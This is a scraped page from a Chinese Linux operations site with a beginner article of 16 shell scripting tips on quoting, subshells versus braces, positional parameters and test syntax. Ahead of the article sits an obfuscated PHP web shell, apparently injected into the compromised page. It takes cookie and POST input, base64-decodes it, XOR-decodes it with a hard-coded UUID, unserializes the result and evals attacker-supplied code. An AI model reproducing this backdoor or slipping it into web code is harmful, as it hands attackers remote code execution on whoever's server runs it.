$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} shell脚本编程基础(2)——新手注意事项及技巧16条 | Linux运维部落

shell脚本编程基础(2)——新手注意事项及技巧16条

总结了一些shell脚本编程初学者常犯的错误、注意事项及技巧

timg_image&quality=80&size=b9999_10000&sec=1523686172840&di=7220089bb2b98e859a79

总结了一些shell编程初学者常犯的错误、注意事项及技巧:

1.判断变量是否加$:

(1)赋值变量时不加$

(2)如果命令能识别变量就不加$,如果命令不能识别变量加$

 

2.存放多行字符时”$name”变量外加双引号可保留换行格式

保留格式

 

3.{}和()中执行命令的区别:

()中使用的命令为一次性的,小括号中相当于在子进程中执行命令,小括号继承括号外变量,但不会影响括号外变量

注:小括号中所说的子进程与常规的子进程不是一回事

而{ }中使用命令是在当前shell环境中执行,不会不开启子进程,会影响当前shell环境

例1:x=1;echo $$;(echo $$;echo $x;x=2);echo $x

小括号

虽然括号内开启了一个子进程,但该子进程号和括号外进程号一致;此外括号外变量会影响括号内,但括号内变量更改不会影响括号外。

例2:(echo $$;exit)

小括号退出

执行此命令,显示当前所在进程号,exit退出()内子进程

{ }中使用命令是在当前shell环境中执行,不会不开启子进程,会影响当前shell环境

例3:x=1;echo $$;{ echo $$;echo $x;x=2; };echo $x

花括号

{}内命令相当于当前shell执行,因此括号外和括号内进程号一致,此外{}内变量影响了{}外的变量。

例4:{  echo$$;exit;  }

花括号退出

执行此命令,显示当前所在进程号,exit退出当前shell;

因此编写脚本时,想要使用括号利用exit命令退出脚本,一定要使用{},而不能使用()

 

4.短路与&&和短路或||嵌套连续命令时可使用大括号

如&&{  cmd1 ;cmd2 ; };||{  cmd1 ;cmd2 ;};

 

测试或命令结果为假时,后跟连续多条命令,必须需采用此种格式:

false || { echo cmd1 ; echo cmd2 ; }

表示测试或命令返回false时,执行cmd1,cmd2

 

测试或命令结果为真时,后跟连续多条命令,可写为:

true && echo cmd1 && echo cmd2

也可写为:

true && { echo cmd1 ; echo cmd2 ; }

 

当条件测试或命令后同时出现短路且&&与短路或||有嵌套命令的情况时:

如:[ Test ] && { echo cmd1 ; echo cmd2 ; } || { echo cmd3; echo cmd4 ; }

表示当Test为真时,执行命令cmd1,cmd2;当Test为假时,执行cmd3,cmd4;

 

5.引用超过10个以上的位置变量时,数字加{};如$10要写为${10}

不加{}时,默认将$10当作$1和0表示出来:

大于10个参数1

大于10个参数2

当给10加上大括号后,${10}才表示第10个位置变量:

大于10个参数3

大于10个参数4

 

6.位置变量$*与$@的区别

两者都可表示传递给脚本的所有参数,但$*将每个参数合并为一个字符串;

$星

而$@每个参数作为独立字符

$圈

注意:$@、$*只在被双引号包起来的时候才会有差异。

 

7.在使用[  ]和test引用变量时,最好加双引号””避免出问

不加引号也许不会出错,但加上引号肯定不会有错

 

8.脚本中进行变量的算术运算时,有空格尽量删除

变量的算术运算,多一个空格就会导致出错,所以尽量将空格删除

数学运算

 

9.进行条件测试过程中,能加空格地方尽量都加空格

条件测试时,无论是括号两端还是字符两端少一个空格就会导致出错,所有尽量都加空格

条件测试空格

10.使用=~进行PATTERN匹配时,需要加双括号[[ ]],且正则表达式不能加引号,默认使用扩展正则表达式

正则表达式加引号就会导致错误结果,这与我们在使用grep与sed等命令利用到正则表达式需要加引号正好相反,需要注意

正则表达式

 

11.用于字符串比较时的用到的操作应该都使用引号

同上,不加引号也许不会出错,但加上引号肯定不会有错

 

12.[[  == ]]右侧可匹配类似于通配符glob的用法

此种匹配类似于通配符,但不完全等同于通配符,注意格式双中括号,双等号 [[ == ]]

类似通配符

13.脚本里不支持别名

 

14.文件测试后跟空字符时,也反馈为True。

例如:/data/fstab为普通文件,用-f选项判断时,后跟fstab文件或者空时都判断为真

文件条件判断

因此要保证一个文件存在且满足测试条件时,

可表示为:[ -n  “file”  -a  –f  “file” ]

file文件是否存在且为普通文件

 

15.测试字符串是否为空除了-z及-n选项,还可用[  “$var”  =  “”  ];[  x”$var”  =  “x”  ]来测试。

例1:当$var为空时,使用[  “$var”  =  “”  ]返回结果0

测试为空1

例2:当$var为空时,[  x”$var”  =  “x”  ]返回结果为0

测试为空2

 

16.养成好习惯:变量一使用完后就用unset删掉。

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/95882

(6)
上一篇 2018-04-13 21:43
下一篇 2018-04-14 11:26

相关推荐

  • NGINX服务1

    I/O模型 Nginx介绍 Nginx安装 Nginx各种模块

    Linux笔记 2018-07-04
  • Linux用户和组简介

    练习为主

    Linux笔记 2018-07-08
  • linux系统命令行安装软件

    一、CentOS7 1)首先通过df或lsblk命令,查看系统中有无挂载本地光盘镜像: 2)若没有挂载,即当前系统中df看不到光盘设备/dev/sr0,使用mount命令进行光盘挂载: monut /dev/cdrom /mnt 3)然后切换到/mnt路径下,到Packages目录下,就可以看到当前系统光盘镜像所自带的所有rpm软件包,然后同通过rpm -i…

    2018-03-30
  • 磁盘管理知识

    磁盘管理知识 1.tune2fs(调整文件系统参数)      [root@centos6 ~]#tune2fs -i 3 /dev/sdb (interval 间隔,即3天检查一次)      tune2fs 1.41.12 (17-May-2010)      Setting interval between checks to 259200 secon…

    Linux笔记 2018-04-24
  • 主机经过三路由通信

    网络规划 主机 A IP/# 172.16.0.1/16 gatway 172.16.0.2 网段 vm10 172.16.0.0 eth0 IP/# 172.16.0.2/16 路由 R1 eth1 IP/# 10.0.0.1/8 网段 vm11 10.0.0.0 eth0 IP/# 10.0.0.2/8 路由 R2 eth1 IP/# 172.31.0….

    Linux笔记 2018-05-04
  • Week01

    第一周作业

    2018-05-12

评论列表(1条)

  • M30-Alvin阿峰
    M30-Alvin阿峰 2018-04-14 11:54

    封面很花哨,(手动滑稽 :p